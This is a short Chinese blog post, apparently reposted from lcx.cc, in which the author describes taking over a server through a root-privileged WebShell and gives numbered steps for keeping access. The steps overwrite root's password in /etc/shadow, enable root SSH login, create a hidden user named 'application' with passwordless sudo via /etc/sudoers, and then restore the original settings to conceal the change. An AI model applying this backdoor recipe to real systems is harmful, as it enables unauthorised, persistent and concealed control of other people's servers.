【Linux】linux提权 Root权限WebShell提权

admin 2021年4月3日19:01:25评论263 views字数 786阅读2分37秒阅读模式

    没啥技术含量,一种思路,让某些得到Root权限WebShell的同学可以快点拿到权限。

    某日拿到某站WebShell,RedHat(红旗linux)系统,Tomcat程序是Root身份启动的,WebShell当然也拥有Root权限。

具体提权思路:

1.WebShell直接替换Root密码:/etc/shadow    //记得备份

2.允许Root通过ssh登陆:
    修改:/etc/ssh/sshd_config
    PermitRootLogin yes   #允许Root登陆

3.重启ssh服务:service ssh restart

4.以Root身份登陆ssh,增加一个用户:
    useradd application
    passwd    //根据提示设置密码

5.更改application用户运行su不需密码:
   chmod +w /etc/sudoers    //增加写入权限,默认只读
   修改:/etc/sudoers
   vi /etc/sudoers
   加入:application   ALL=(ALL)        NOPASSWD: ALL

6.把Root密码修改回原样,禁止Root登陆。并去除sudoers的写属性(chmod -w /etc/sudoers)。

7.当然最后还要:chmod -w /etc/sudoers

 

Root用户登陆。

普通用户登陆,su免密码进入Root权限。

文章来源于lcx.cc:【Linux】linux提权 Root权限WebShell提权

相关推荐: 【PHP】PHP 客户端浏览器页面跳转,网页重定向

    PHP 客户端浏览器页面跳转,网页重定向,PHP 客户端浏览器页面跳转,PHP 客户端页面跳转,PHP 浏览器页面跳转,PHP 网页重定向,PHP 网址重定向,PHP 网站重定向,PHP URL重定向,PHP 页面跳转,PHP 网页跳转,PHP 网址跳…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:01:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Linux】linux提权 Root权限WebShell提权http://cn-sec.com/archives/319633.html

发表评论

匿名网友 填写信息